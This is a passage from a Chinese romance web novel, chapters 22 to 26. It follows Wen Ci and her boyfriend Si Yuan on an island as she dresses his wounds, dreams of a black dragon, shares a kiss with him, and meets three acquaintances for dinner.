衣服下面的皮肤要比他的脸和脖颈白上几分,好几片凌乱且狭长的胭红擦痕在白皙的肌肤上异常明显。
其中两处的伤口有点深,卷起的皮肉处渗着零星几道血珠,甚至染红了伤口周围的肌肤。那应是她环抱他时,不小心才沾染到的。
22. 血腥味
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随即,温辞的视线落在司渊的脸上,一边打量,一边说:“你还真别说,你和那里的道士长得还有点像。”
“我?”司渊怔住。
“对啊,我还能找到照片呢,找一下给你看看。”说着,温辞拿出手机,手指在屏幕上灵活地滑动起来。
口腔中的药丸逐渐被口水洇化,几种混合草药的清苦味道在嘴巴里蔓延开来。不等她仔细回味,更为馥郁的甘甜味道充斥整个唇舌。
这个味道...好熟悉。
温辞滑动屏幕的手指蜷缩了一下,抬起手,闻了一下手指,恍然大悟。
她的指尖,还残留着刚才洗手时沾染的香皂味道。
手指上的味道,和她如今吃的这个药丸后散发出来的味道,前调虽天差地别,但后调却隐隐有几分相似。
难怪她觉得熟悉。
“司渊,你来。”
温辞眨了眨眼,冲他招手。司渊走过来,在她旁边坐下。
他的体重的基数要比她要大一点,他一落座,沙发垫凹陷了,她也没有任何防备的,往他身侧滑去。
原本两人之间还是有一点安全距离的,可不自觉地滑动后,就一点缝隙也没有了。
胳膊贴着胳膊,看起来亲密无间。
为了稳住身形,她的手掌还不自觉摁上了他的大腿。一触即离,温辞自己都没有注意到。
只有司渊,心里不动声色地掀起一场巨浪。
尽管隔着衣料,尽管她手上的温度要比他身体的温度要冰凉许多,但被她不经意触碰过的地方,还是像着火了一样。
她好像很喜欢和他挨着。坐稳后,并没有趁机和他拉开一些距离。两个人依旧离得很近,稍有动作,对方就能一清二楚感受到。
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他本以为,温辞之所以冲他招手、让他坐过来,是因为找到了照片。可实际情况并非是这样。
她并没有把手机递给他,而是把手举到他面前,问:“司渊,你能不能闻到我手上的味道?”
她的手指距离他的鼻子不过一指的距离。
司渊嗅觉灵敏,温辞一开口,他就闻到了空气中弥漫着的丝丝缕缕的草药味道。浓郁、却并不难闻,甚至还隐隐带着一抹清冽。
他看了一眼瓷瓶,又重新把视线落在她的手上。
他微微倾身,鼻尖抵上她的手指,轻嗅了嗅,随即拧起眉心,说:“血腥味儿。应该是刚才你替我包扎的时候,不小心沾染到手上的。”
温辞也跟着皱了皱眉,把手撤回来,重新举到自己的鼻下,深吸一口气,嘟哝道:“什么血腥味?明明是香味啊。司渊,你该不会是鼻子有什么问题吧?”
23. 梦境
指腹在唇上摩挲,脸上弥漫出浅淡的笑意。想起司渊好几次落荒而逃的背影,她更是直接笑出声来。
很奇怪,一想到司渊一次次从她面前逃开,她心里就越是想要将他留下来。最好他时时刻刻都能和她待在一起。
因为遗传了父母的优点,她长了一副好皮囊。
也正是因为如此,尽管她一直隐瞒自己是霍家的人,身边仍然不缺追随者。他们趋之若鹜,平白让人生厌。
如果可以,她甚至都不想和他们多说一句话。
可司渊不一样。
从她看见他的第一眼,就觉得他不一样。
他对她,好像有着致命的吸引力。所以,她千方百计,用尽了各种小花招,才让他答应成为她的男朋友。
虽然大多时候,他的情绪都很寡淡,像一杯被冰镇过的白开水。
但偶尔,她依旧能从他看向她的眼睛里读出一些异样的、浓重的情绪来。偶尔,他这杯凉白开,也会咕嘟咕嘟冒着气泡,像她爱喝的气泡水那样。
想着想着,她的思绪逐渐变得困顿、溃散。心里泛起层层涟漪,手指也无意识蜷缩了下,眼皮越来越重,意识也变得混沌。
没一会儿,她缓缓阖上了眼。
不知道是不是近期的情绪过于放松、大脑皮层过于活跃的原因,向来少梦的温辞,整夜被梦境所扰,根本睡不安稳。
前半夜,司渊的身影一直在她的脑海中萦绕。一会儿是两人初见时的画面,一会儿又是两人在巷口深吻的画面。
后半夜,司渊的面容逐渐散去,梦境的内容却越来越光怪陆离。
也许是因为广场上那个卖气球的阿婆讲述的那个和庚辰岛有关的传说太过传神,她梦到了一条黑龙。
确切来说,是一条长着硕大翅羽的黑色应龙。它盘旋在海面上,形状和庚辰岛几乎一模一样。
梦中,她孤身一人,走在岛上。
忽然一阵似牛吼的龙吟声入耳,瞬间,狂风大作,地动山摇,海浪翻滚,整座岛屿几乎被海水淹没。
毫无防备的,她被晃倒在地。
眉心一阵刺痛,狂风卷起的碎石,刮花了她的脸。
殷红的鲜血顺着鼻梁滑下,滴落到地面,平白卷起一阵小的旋涡,像龙卷风一样。
而风眼,正是她滴落到地上的那几滴鲜血。
温辞并没有意识到自己是在做梦,她只是感到惊奇,眼睛眨也不眨地盯着眼前的那阵血色旋风。
龙吟声越来越大,几乎要把耳膜震碎。
与此同时,海浪也越来越高,几乎要将整个岛屿淹没。
海浪袭来,她下意识闭上眼。
预料之中的溺水感没有到来,骤然袭来的腾空感却让她的心脏一紧,再睁开眼睛时,庚辰岛的外层化为无数碎石,沉入深海。
与此同时,一条黑色应龙腾空而起。而她,则趴在应龙的脊背上,双手因为害怕紧紧攥上了它翅膀上的羽毛。
不知道是因为她抓疼了它,还是因为它感受到了她专注的视线,隐入云霄的瞬间,它嘶吼着,扭头看了她一眼。
巨大的龙首猛地映入视线,温辞和它四目相对,吓得直接叫出声。手上的力道也卸了大半,空气中的
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阻力让她整个人从它的脊背上滑落。
下意识的,她长臂一挥,想要抓住些什么,却只来得及抓下它一根羽毛。
挣扎着,她朝深海跌落。
-
一声闷响,温辞翻了个身,从沙发坠入地面。和梦境中相同的坠空感,让她突然惊醒。
她睁开眼睛的同时,耳边传来两声啼鸦的叫声。一抬头,她看见司渊养的那只乌鸦站在她面前的茶几上。
见她看过来,它还歪着脖子看了她一眼。温辞对它依旧充满恐惧,又一声尖叫响起。
“啊。”
她的尖叫声,惊得啼鸦振翅高飞。
它扑扇着翅膀,连鸦羽都掉落了好几根。它在客厅盘旋了两圈,从半掩的窗户飞了出去。
海风吹开了窗帘,黎光从玻璃照进来。
温辞坐起身,揉了揉被摔疼的手肘,脑海中闪过刚才的梦境。
明明是梦,她额间的那道水滴状的红色胎记,却像是真的划破了一样。手指一碰,就隐隐发痛。可是又没有伤口,手上也没有沾染鲜血。
她咕哝了句奇怪,手掌撑着沙发,站了起来。她本想去卫生间的,可余光却被沾在她衣摆的黑色羽毛吸引了去。
不远处的纯白地毯上,还散落着几根刚才啼鸦抖落的羽毛。同样是黑色,可温辞就是觉得,她身上的这根与地毯上的那些,有点不一样。
她身上的这根,更像她在梦里揪下来的。
可梦里的东西,又怎么能带回到现实中呢。
应该就是啼鸦掉的毛吧,只是不小心沾到了她衣服上而已。
24. 陪伴
一想到那个吻,温辞就有点头昏脑涨,整个人都有些飘飘然。为了不让司渊看出异样,她随便寻了一个由头,离开了座位。
“你慢慢吃,我洗个手,一会儿给你换药。”
“好。”司渊含糊应了声。
离开了餐桌,温辞脸上的温度才慢慢降下去。她刚才说的,也并非全是假话。她的确有点担心他后背的伤。
也不知道他今天有没有去晨跑,如果汗水浸了伤口,怕是不太好处理。
她洗完手,又重新绕回到他身边,问:“司渊,你今天去晨跑了吗?”
“没有。只是去散了个步,顺便买了早餐回来。”趁她洗手的间隙,司渊已经把餐桌收拾干净了。
温辞满意点点头:“走,去换药。”
司渊按照她的指示,趴在沙发上,半撩起上衣,等着她下一步的动作。
和昨晚相比,今天上药、包扎的过程,很是得心应手,完全没有了昨天的小心翼翼。她甚至可以三心二意,一边上药一边和他聊天。
当然,主要是她在讲,而他在听。但他并非一直沉默,偶尔他也会回应一两声。
譬如,当温辞说起啼鸦一大早出现在她家客厅的时候,他下意识扭头,牵动脊背的肌肉。温辞更是没有防备,镊子生生撞上了他的伤口。
“呀,别乱动,还没上好药呢。”温辞惊呼,连忙抬手,生怕把他的伤口弄得更糟糕。
司渊瞥了一眼茶几上的那几根羽毛,又和她对视片刻。好一会儿,他才吐出一句:“它有没有吓到你?”
温辞顿了一瞬,缓缓摇头:“倒是没有被吓到,只是有点惊讶。”
“以后睡觉,记得关窗。”说完这话,司渊重新趴回到沙发上,下巴抵着的那块软枕,正是她刚才睡觉的时候枕在颈下的那块。
软枕上,沾染着丝丝缕缕的洗发露的甜香,以及她身上特有的体香。
呼吸间,充斥整个鼻息。
是她的味道。
不过短短几日,他就已经习惯了她这个人的存在。
不仅是物理意义上的,更是心理方面。他对她的气味,丝毫不敏感,甚至有点痴迷。
-
换完药后,趁温辞去洗手,他火速整理好了衣服。
司渊端坐在沙发上,视线落在茶几上的那几根羽毛上。他神色专注,一脸若有所思,连她的脚步声都没听到。
“司渊,喝水。”
她手里拿了两瓶才从冰箱里拿出来的气泡水,递给他一瓶后,顺势坐在他身边。
当然,口味是她喜欢的。
和往常一样,司渊接过,第一时间拧开瓶盖,正准备往她面前送,一转头,却看到她不仅自己拧开了瓶盖,而且正仰着脖子咕嘟咕嘟喝了一口。
他默默把手收回,也跟着仰头、灌了一大口下肚,冰凉清甜的口感瞬间侵满了他整个口腔。
很多时候,她也给他这样的感觉。
而这杯气泡水的口味,也恰好是她喜欢的。
温辞转过头看他时,刚好看到这样的画面。
他的身姿挺拔,脊背挺得笔直。身上套着她穿过的粉色衬衫,白皙的肌肤也在这件衬衫的衬托下显得格外清润。
微微抬着头,脖颈仰出一抹好看的弧度,突兀的喉结因为吞咽的动作滚了又滚。隐约中,她听到一声咕咚的水声。
她专注看着,竟也情不自禁做了一个吞咽的动作。紧接着,她往司渊那边倾了倾身,抬手,指腹抵上了他的喉结。
突如其来的触碰,让司渊整个人都为之一颤。
同时,温辞明显感觉到,她按压在指腹之下的喉结,也忽然不受控制一样,上下来回滚动一番。
“咳,咳——”
尽管他已经把那一口气泡水咽下去了,但还是被口水给呛了一下。
他回过神,稳住微微晃动的手臂,放下水杯,转头看了一眼温辞。
对上她那双好奇又震惊的眼睛,他眉宇之间满是无奈:“没有人告诉过你,不要轻易触碰男人的喉结吗?”
他顿了一瞬,又补充了句:“尤其是在喝水的时候,咳——”
温辞一脸无辜,冲他摇头:“我...我现在知道了。”
她终于舍得把手从他的喉结上离开,挪到他的背上,轻轻拍了拍:“呛到了是不是?脸都咳红了。”
他嗯了一声,别过脸,不再看她。可脸上的温度却是越来越高。
“还困不困了?要不要再回房间睡一会儿?”司渊迫切地想要支开她。她在他旁边,他身上的温度怎么也降不下来。
就连说这句话时,他也没有一直看着她的眼睛。匆匆对视一眼,又迅速挪开了视线。
温辞本来就有些无精打采,全靠着那碗小馄饨和他后背的伤势提着点精神。听到他这么问,眼皮忽然有点重。
“一点点。”温辞赧然,冲他笑笑,随口问了句:“那你是不是要走了?”
这是在隐晦赶他离开吗?
也好,刚好他的工作还差一点就能收尾。早点忙完,他也能早点收到钱。
司渊迟疑一瞬,点了点头。
温辞的脸却一下子垮了下来,一脸不开心。
“可我不想一个人待着,我想要你陪我一起。”
话落,她又往司渊身上靠了靠,胳膊环上他的手臂,微仰着脑袋,下巴结实抵上他的肩膀。鼻息之间,满是他的气息。
隐隐约约,她还能闻到一阵清新的薄荷味。
应该是他经常用的须后水的味道。
她的呼吸很轻,呼出的气息却有些灼热,带着几分痒意,扑在他脖颈的肌肤上。
源源不断的热度从手臂传来,司渊的肢体无比僵硬,一动不敢动。他还是不能习惯温辞突如其来的靠近。更别说是更亲密一点的举动。
温辞见他不说话,又把胳膊收得更紧了些,可怜巴巴开口:“这房子太大了。我一个人待着,会害怕的。昨天...昨天晚上我还做噩梦了呢。”
“今天早上一醒过来,就看到啼鸦站在茶几上。我又被吓了一跳,到现在还害怕呢。你是啼鸦的主人,你必须得负责。”
温辞的这番话,字里行间,满是无赖思维。司渊不得不侧目看她,眸色讶然。
“必须。”见他看过来,她又着重强调了一下。
司渊神色终于有所松动,冲她点头,温声说了句:“好吧,陪你。”
“司渊,你怎么这么好。”温辞笑意盈盈,松开他的胳膊,双手捂住他的
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脸,揉了两下,说:“怎么我说什么你都答应。”
司渊别扭瞥开视线,把她的手从他脸上拿下来,问:“这样不好吗?”
温辞:“当然好啊。不过...”
司渊:“不过什么?”
她顿了顿,又缓缓开口:“不过我还是更希望你能顺着自己的心,而不是盲目顺从于我,或者别人。”
司渊没想到她会这么说,愣了一下,点点头,随即站起身,作势离开。
走了两步,他又停下来,转过头,冲温辞说了句:“那我走了?”
话是她自己说的,即便是他要走,她也不能再开口说些什么。温辞大脑一片空白,却还是点点头。
看着她有些失神的模样,卫朝勾唇,轻笑一声:“骗你的。”
他转过身,大步冲她走来,弯腰,抬手,揉了揉她的发顶,开口解释道:“我回去拿个电脑,马上回来,等我。”
“好。”温辞欢快应道。
被司渊这么一刺激,温辞的困意又没了。她跑回房间,从行李箱里翻出了游戏机和拼图,一齐拿到了客厅。
犹豫再三,她选了拼图。
拼图安静,游戏机的话,难免不会发出一些声音打扰到他。
司渊提着笔记本电脑回来的时候,温辞已经把所有的拼图碎片全部倒在了茶几上,她也从沙发上下来,盘腿坐在地毯上,后背抵着沙发,专注摆弄着其中两片碎片。
“不困了?”他眨了下眼,在她身边坐下来。
温辞点点头:“特别精神,陪你一会儿。等困了我就回房去睡觉。”
“好。”司渊一边听她说,一边打开了电脑。
两人之间隔着差不多一掌的距离,温辞不动声色往他身边挪了挪。同时,她抬起一只手,伸出三只手指,做出发誓的动作,同他保证:“你放心,我很安静,不会打扰你工作的。”
“吵闹也没有关系。”司渊抿唇低笑:“你不会打扰到我。”
电脑启动的空闲时间,司渊的视线一直没有从她身上离开过,注意到她直接坐在地毯上,顺手递给她一个腰枕,说:“地板太硬了,垫着坐。不然腿会麻。”
“谢谢,你忙你的,不用管我。”温辞接过,微微起身,把软枕垫到了屁股下面,寻了一个舒服的坐姿,开始认真琢磨起拼图碎片来。
司渊嗯了一声,视线也从她身上转移到了电脑屏幕上。
没一会儿,键盘的敲击声传入温辞耳中。她侧目看了一眼,司渊一脸专注敲着代码。
有点迷人。
和她之前认识的同龄人相比,司渊少了点青涩,多了一抹成熟。尤其是在他认真工作的时候。
温辞看了他一会儿,又转过头来,继续拼图。拼累了,她又拿起那几根黑色的羽毛,逐一把玩。
她总觉得,这几根羽毛里,有一根像极了她梦中惊醒的前一秒钟,从那条黑色应龙的翅膀上揪下来的那根。
温辞又一次想起那个梦境,想着想着,意识开始变得混沌,眼皮也逐渐加重。
困意来袭,她的脑袋东倒西歪。最后,靠在他的腿上。
膝盖上突如其来的重量,让司渊骤然回神。
他垂眸看去,却只看到温辞的后脑勺。
25. 亲我
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温辞背靠着沙发,脑袋倚着他的腿,不知不觉就睡着了。
司渊垂眸看她一眼,无奈摇摇头,合上电脑,小心翼翼站起身,弯腰将她抱起,视线先后落在沙发和她房间的门上。
他忽然想起她在饭桌上无意间提起,昨天一整晚,她都是睡在沙发上,又做了噩梦,啼鸦还飞进来吓了她一跳。
也难怪她会睡着。
沙发逼仄,睡起来又不舒服,她肯定是不想再继续睡沙发的。
想起这些,司渊没再犹豫。他抱着她,径直往她的房间走去。
一边走,一边给自己打气:
司渊,没事的。你又不是没进去过,不要紧张。
可他心跳的频率依旧很快,自我安慰根本无济于事。
司渊抱着她,脚尖一踢,虚掩的房门轻而易举被推开。
快步走到床边,司渊后知后觉意识到‘房门虚掩着’这一点,舌尖抵上后槽牙,下意识发出一声冷咂:
“啧——”
经过这么多天的相处,司渊知道,她并非是一个粗心大意的人。
可再怎么样,他也是个成年男性。两个人单独相处,房门她都不关紧的。
她到底是有多相信他啊,对他非但没有丝毫的防备之心,还喜欢动不动和他贴贴。
好在,她遇见的是他,如果她一见钟情的是不怀好意的别人,怕是早被人给吃干抹净了。
不由得,司渊脸上升起一抹惨淡的愁云。
也许是他那声咂舌的动静有点大,温辞在他怀里颤了一下,口中也发出一声嘤咛。
司渊正准备把她放到床上,听到她的声音,弯腰的动作一顿。他躬着腰身,牵动脊背的肌肉,痛感逐渐传遍周身,他却连眉毛都没皱一下。
她眉心微微蹙着,额间那个红色水珠形的胎记微微隆起,像是鼓了一个小包。但眼睛始终闭着。
还好,没有吵醒她。
不自觉的,司渊连呼吸都放缓了几分。
他动作轻缓,将她放到了床上。从床头柜拿起空调遥控器,调到24度。又微微弯腰,越过她的身体,伸长手臂,从床的里侧拿起叠放整齐的泡泡棉夏凉被,搭到了她的身上。
她的睡颜恬淡,只是眉心还微微蹙着。
司渊站在床边看了她一会儿,她睡颜恬淡,只是眉心还微微蹙着,仿佛还陷在被他打扰了清梦的困境里。
等他反应过来的时候,他的手掌已经抚上了她的脸,拇指指腹正按在她微蹙的眉心之上。轻轻一抚,温婉的眉眼瞬间舒展开来。
似是感受到脸颊的痒意,她忽然抬手,用手背蹭了一下脸。如果不是司渊的手撤的快,她的手背就要打上他的手背了。
也是这时,司渊才注意到,她的手里,还攥着一根黑色的羽毛。
怎么像小孩子一样,拿到什么玩什么。
不过啼鸦的羽毛摸着的确很舒服,这也不能怪她。
他无奈摇摇头,两指捏住羽毛的一端,轻轻一抽,就把羽毛从她的手里扯了出来。
不过...这好像也不像是从啼鸦身上掉下来的。啼鸦的毛,好像比他手上这根更细一点。莫非,昨天晚上,飞进她家的除了啼鸦,还有别的海鸟。
他的视线专注在那根羽毛上,完全没有注意到温辞轻颤的眼睫。
早在他半跪在床边,给她盖上夏凉被的时候,她就醒了。之所以一直没有睁开眼睛,就是好奇他会做些什么。
她没有想到,对于司渊来说,那根羽毛竟然比她的吸引力还大。他观察那根羽毛的时间,比看她的时间都要久。
眼看着他要起身离开,温辞再也装不下去,抬手勾住了他的脖颈,软绵绵开口:“司渊,你好吵。”
司渊整个人都僵住了,却也没反抗。温辞稍微用了一点力度,就把他往下带了带。两人之间的距离,瞬间缩小了很多。
他抿了抿唇,脑海里转了一圈,也没想到她口中的‘吵’,究竟是哪里出了问题。他明明一直都很安静,生怕吵醒了她。
可偏偏,她说他吵。
“哪里吵?”他直接问出口。
温辞松开他,手指慢慢往下滑,停在他胸口:“这里。”
她冲着他心脏的位置,轻轻点了两下,说:“我听见你的心跳了,有点吵。”
他忽然有点不自在,因为她刚才的话,也因为两个人极其亲密的距离。下意识的,他用手掌撑了下床边,想要和她拉开一些距离。
温辞眼疾手快,一把揪住了他的衣领,重新把他拽了回去。
司渊没有防备,整个人扑在她身上。两个人中间,只隔了一条泡泡棉材质的超薄夏凉被。
她一点一点收紧他的衣领,霸道开口:“不许走。”
“这么霸道?”
司渊的视线落在她皓白的手腕上,又缓缓开口,问:“不困了?”
“困呀。”温辞生怕他走了,胳膊又一次环上了他的脖子,说:“我要你陪我一起。”
“咳咳——”
司渊被她这话吓了一跳,甚至被自己的口水给呛到了,忍不住轻咳了两声。他及时偏了偏脑袋,热气尽数喷洒在她的耳边。
“痒。”
她瑟缩着,躲了一下。手上的力道却丝毫没有减少,依旧牢牢圈着他,不让他有任何退缩的机会。
两人一直维持着同一个姿势。半晌,司渊见她始终没有要松开自己的意思,只好再一次开口,问:“真想要我陪你一起?”
“嗯,想。”温辞没有丝毫扭捏。
“好吧。那我陪你一起。”
他伸手揉了揉她的脑袋,又说:“不过,我的后背有伤,不能平躺。我趴着陪你一会儿,你安心睡。”
“好。”
温辞这才放开他,司渊也趁机与她拉开一些距离。她往床的内侧挪了挪,专门给他空出一半的位置。
“你在外面可以吗?”她问。
司渊点头:“可以。”
她把自己枕过的枕头拿走,又把没枕过的那个放到他的位置上,拍了拍,说:“你用这个。”
司渊侧脸趴着,双臂交叠放在枕头上。
温辞调整了一下睡姿,从平躺变成侧卧,和他面对面。
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>“司渊,你紧张吗?”
见他肢体有点僵硬,不等他回答,抬手拍了拍他的肩膀,说:“你放松一点嘛,我不会对你怎么样的。”
“我保证。”
她往他面前凑了凑,脸上带着一抹狡黠的笑意,像小狐狸一样。
“你的保证,在这一刻,没有信誉度可言。”
眼看着她越凑越近,司渊连忙抬手,手掌抵着她的额头,阻止她继续靠近。他的耳朵又一次肉眼可见的红了起来。因为刚才,他莫名感觉到,她是想亲过来的。
如果不是他及时用手挡住,她怕是就偷袭成功了。而他,有点不太相信自己的自制力。
“不许搞偷袭。”他稍微用了些力气,把她往外推了推:“好好睡觉。”
他正准备收回手,却被温辞抓住了手指。她的力气不大,他却没有挣开,任由她攥着。
“偷袭又怎么了?那你是我男朋友,我亲你一口怎么了?”温辞嘟哝了句,似乎是意识到什么,声音骤然大了一倍。
她似乎连困意都没了,动作麻利坐起身,精神抖擞地质问他:“我不能亲你吗?”
“能。”
司渊心里咯噔一下,也跟着坐起来,与她面对面,神色有几分紧张,但回答丝毫不含糊。温辞的双手无意识地搅弄着身上的夏凉被一角,听了他的回答,眉眼弯弯。
但这一次,她并没有凑到他面前去。依着司渊的性子,自顾凑过去的话,她怕是还是会被他无情推开。
心思一动,眸光转向司渊,抬手点了点自己的嘴巴:“那你现在过来亲我。”
司渊瞬间睁大了眼睛,脸上写满了不可置信。他原本以为,她邀请他一起睡回笼觉这件事情就已经是胆大妄为。
却没想到,她心里存的,竟然是这样旖旎的心思。
如果他心思纯正,也便罢了。可偏偏,他的心里,毫不清白。
从他踏进这幢别墅开始,就止不住地胡思乱想,只是面上矜持罢了。
是以,他看向她的眼神,也越发幽沉。
“立刻,马上。”见他没有动作,温辞又补充了句,语气近乎命令,却又带着明显的娇憨。
有那么一瞬,司渊自己都没有意识到,他的身体一点一点朝她倾过来。直到他的鼻尖触到她的鼻梁,他才恍然回过神。
虽然没有后退,却也没再继续往前。
温辞甚至已经把眼睛闭了起来,可预料之中的亲吻却迟迟没有落下。不得已,她只好重新睁开眼睛,拽着他的衣领,仰头凑了过去。
和他的性情正相反,他的体温异常灼热,连嘴唇都滚烫无比。
对上他那双震惊的双眸,温辞齿关稍一用力,眉宇之间扬起一抹显而易见的挑衅。那神情,似是在说:“司渊,你胆子可真小,甚至不敢真的亲上来。”
像是被她的目光给刺激到似的,他抬起一只手,捂住了她的眼睛,另一只手,揽上了她的腰。
看不见她的视线,司渊胆子忽然大了很多。
唇齿、手臂上的力度分别加大。她的身体紧紧贴着他的胸膛,像是要将她揉进身体里一样。
26. 在哪
一觉醒来,首先映入她眼帘的,是从落地窗斜照进来的无边暮色和湛蓝的海岸线。
她侧躺着,视线在窗户上停留一瞬。不远处的沙滩上,三三两两的游人悠闲地散步。
忽然,温辞想到什么,倦意消散,整个人清醒过来。她正准备翻身,手肘无意蹭过腰间,触到一阵滚烫且坚实的触感。
也是这时,温辞后知后觉意识到,她的腰上好像压了个很重的东西。
温辞翻身的动作一顿,垂眸往腰上瞥了一眼,横亘在她腰上的,不是司渊的胳膊,又是什么。或许是因为她睡得时间太长,已经习惯了他胳膊的重量,所以才没有第一时间察觉。
温辞缓缓转过头,一眼看到趴在她身边睡得正香的司渊。
不是说还有工作吗?他怎么没走?
温辞眨了下眼,脑海中不可遏制地闪过睡觉之前的两人亲吻后的场面。
意识朦胧之际,她心系他后背的伤势。如果她非要他陪,那他就真的得一直趴着。温辞忽然有些于心不忍,终于舍得放他离开,好让他去客厅继续忙工作。
可是,司渊却没有立即从她的床上下去。他宽厚的手掌,揉了揉她的脑袋,说了句:“没关系,你先睡。我陪你一会儿,等你睡着了我就去忙工作。”
听司渊说完这句话后,她就睡着了。
后来发生了什么,温辞一点印象都没有。
他究竟是一直没离开,还是离开后又回来?温辞不得而知。
但是,这都不重要了。
重要的是,她意识到甫一睡醒,就能看到他睡着旁边这件事情,让她的心情很愉悦。
空调还开着,丝丝缕缕的凉风打在两人身上。
她的身体,几乎被夏凉被包裹的严严实实。压在夏凉被上面的,是他有些沉重的手臂。这样的温度,刚好适合睡觉。
而司渊的身上,只有他穿的衣服。
他的身下,倒是压着夏凉被的一角,可又有什么用呢?
可千万别吹感冒了。
温辞心中一紧,当即有了动作。
她用两根手指捏起司渊的手腕,缓缓从自己身上挪开。一边挪,一边观察着司渊的脸。他好像睡得很沉,半点没有察觉到她的动作。
同时,温辞也发现了另外一个让她有些惊讶的点。
即使她只用两根手指和他的肌肤接触,她也能感觉到,他的体温很高。
忽然,温辞脑海中闪过一个念头:他后背上有伤,又吹了这么久的空调,该不会是发烧了吧?
温辞又凑近了些,仔细观察了他一会儿:睡颜平和,呼吸匀停,鼻尖上还隐隐渗着一层晶莹的汗珠。
不像是发烧,倒像是单纯热的。
他都睡出汗了。
她又把视线落在他的后颈,后衣领果然被汗水洇了大片,鲜艳的粉色变得暗沉。
她咕哝了句:“不应该啊。”
随后,她动作轻缓绕下床,光脚走到他那边的床头柜,拿起空调遥控器,把温度又调低了些。
她没打扰司渊休息,径直出了房间。
温辞重新坐回到沙发和茶几中间的地毯上,正准备继续拼这幅未竟的美少女战士的拼图,埋在拼图碎片之中的手机忽然震动起来。
她睡着之后,司渊只是将她抱回了房间。而她的手机,被冷落在茶几上。位置也是她睡着之前随手扔的,不曾改变。
难怪她在出门时,总觉得自己手上少了什么东西。
怔忪间,震动声止。
温辞回过神,放下手里的拼图碎片,拿起手机,看到屏幕上足足十八个未接来电的提示后,又一次蹙起了眉毛。
顾冉打了一通。
顾清河打了两通。
剩余的十五个,全都来自于一个陌生的号码。但温辞猜测,这个号码,一定是章扬的新号。
除了他,再没人这么不识趣。
打别人电话,一个不接,两个不接,三个还不接,就不要继续再打下去了嘛。
温辞撇撇嘴,异常娴熟地把这个号码拉到黑名单。
转念,又觉得不妥。
无论她心里有多么厌恶章扬,他始终在那儿。
更何况,如今他已经追到了庚辰岛来。
她也试验过了,一味躲避,只能换来他更加变本加厉地骚扰。连他的身边人都不得安生。
温辞又重新把章扬的号码从黑名单里拉出来,备注上名字,保存到了通讯簿中。
她看着一整页的未接来电,最后把视线落在了红色的‘顾冉’二字上。
顾冉这次的举动,让温辞有点惊讶。
她有点想不明白她了。
以前,无论是主动还是被迫主动,这三个人中,就属她的消息最多。
可这一次,竟然就只有一通电话?
有点奇怪。
一时间,她又说不出究竟是哪里奇怪。
于是,她忽略掉章扬和顾清河的消息,直接给顾冉回拨过去。
顾冉接的很快,告诉了她三人下榻酒店的名字,并且邀请她共进晚餐。见温辞迟迟不应,顾冉又补充了句:“如果你有时间的话。”
言外之意,没有时间的话,那就算了。
温辞好歹和她做过几年同桌,对她也算了解。所以,她能够第一时间听懂顾冉这句话的意思。
尽管以前的邀约,顾冉心里大多也都不愿她前去。但从来没有像这一次,直接开口表达过。
而且,温辞能感觉到,和之前相比,今天的顾冉有点不一样。
于是,她应了下来。
-
司渊醒过来的时候,天色已经完全暗下来了。
他睁开眼睛,却也只能看到驻在沙滩上的几盏夜灯,在昏暗的夜空,散发出团团幽黄的光。
房间里更是昏暗,借着外面那几团幽暗的光线,他勉强能够看到他旁边微微隆起的黑影。如果他没有猜错,那团黑影应该就是温辞。
他并没有忘记自己身在何处,只是懊恼自己竟然真的睡了过去。原本他打算等她睡着后,就离开的。
但又隐隐庆幸:还好,他醒的比她早。
司渊定了定神,视线落在他身前的黑影上。继而,手臂一扬,他缓缓抱住黑影。黑影并非是温辞,而是夏凉被堆到一起,他误以为是个人。
手臂压塌了微微隆起的夏凉被,他扑了个空。
“阿辞?”司渊心里咯噔一声。
无人回应,房间一片静谧。
他动作麻利从床上下来,凭着记忆,摸索到了床头柜上台灯的开关。
啪嗒一声,满室明亮。
房间里却只有他一个人,在空调冷风的不间断吹拂之下,她曾睡过的地方已经冰凉一片。司渊蹙眉,抚平了她枕头上的褶皱之后,把手收了回来。
她去哪了?
一边想,司渊走出了房间。
客厅也一片昏暗。
“阿辞?”他又喊了一声,依旧没人回应。
摸着黑,他打开了客厅的灯。
她果然不在家。
他从沙发的扶手上拿起自己的手机,没有信息,没有电话,没有任何说明。
但他约莫能猜到她去了哪。
他没有忘记两人出海时温辞接的那通电话。
她一定是去找那三个人了。
她有自己的社交自由,可司渊依旧有点失落。
他点开了和温辞的对话框,正犹豫要不要发条信息问一问她在哪,余光一瞥,他注意到他的笔记本电脑上贴了张便签纸。
司渊撕下便签纸,看着上面两行娟秀的字迹,无声勾
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了勾唇。
原来,她给他留了话:
To司渊:
见你睡得熟,没有喊醒你。我去赴约了,睡醒给我发信息。
落款:温辞。
就这么几个字,司渊翻来覆去看了好几遍。
怎么她写他的名字都这么好看!
在此之前,他从来没有觉得自己的名字好听或者写起来好看过。在此之前,他特别不喜欢别人喊他的名字。
可偏偏,温辞喊出的每一声,他都喜欢听,觉得悦耳。
有时候,他甚至觉得自己的名字也没那么难听。
捏着那张便签纸,就像是拿了尚方宝剑。他没再犹豫,直接给温辞发了信息过去。
“在哪?”
“要不要我去接你?”
司渊一连发了两条,不等温辞给他回信,人已经走出了别墅。
庚辰岛就这么大,游客们常住的,也就只有那几家酒店。常去的地方,也就那么几处。
就算她不能及时给他回信息,他也有信息找到她。
或早或晚罢了。
司渊一直拿着手机,他出了巷口没多久,就收到温辞的信息。她什么也没说,只是给他发来了一个餐厅的地址。
餐厅的位置和他正走的方向相反,司渊收起手机,掉过头,往反方向走。
十五分钟后,司渊到达了酒店门口。他没有直接进去,而是给温辞发了条信息。
【我到了,在酒店门口。】
【这就出来。】
这一次,温辞很快给他回了消息。
司渊收了手机,专注看着酒店的大门。
三分钟后,温辞出现在酒店大堂,司渊一眼看到了她。正准备迎上去,看清与她一起走出来的几个人时,他又顿下了脚步,安静看着。
与她并肩而行的,是上次在手机里见过的那个叫顾冉的女生。她们身后,紧跟着两个男生。
同样,这两个人也是他曾在手机里见过的。
扫了一圈,司渊重新把视线落在温辞身上,目光越发柔和。
温辞走出大门,停下脚步,其余三人也跟着停下来。扫视一圈后,她发现了司渊的身影,笑着同他摆了摆手。
司渊缓步走上前。温辞亲昵挽上了他的胳膊,冲那三人说:“我男朋友来接我了,我得先回去了。”
“你们好,我是司渊,也是温辞的男朋友。”司渊一一同那三人点头示意后,主动自我介绍。
“你好,我是顾冉。”
“你好,顾清河。”
“章扬。”
顾冉最先反应过来,紧接着是顾清河,最后才是章扬。
简单寒暄了一番后,温辞和司渊相携离开。
酒店门口的三人,却迟迟没有动作。尤其是章扬和顾清河。
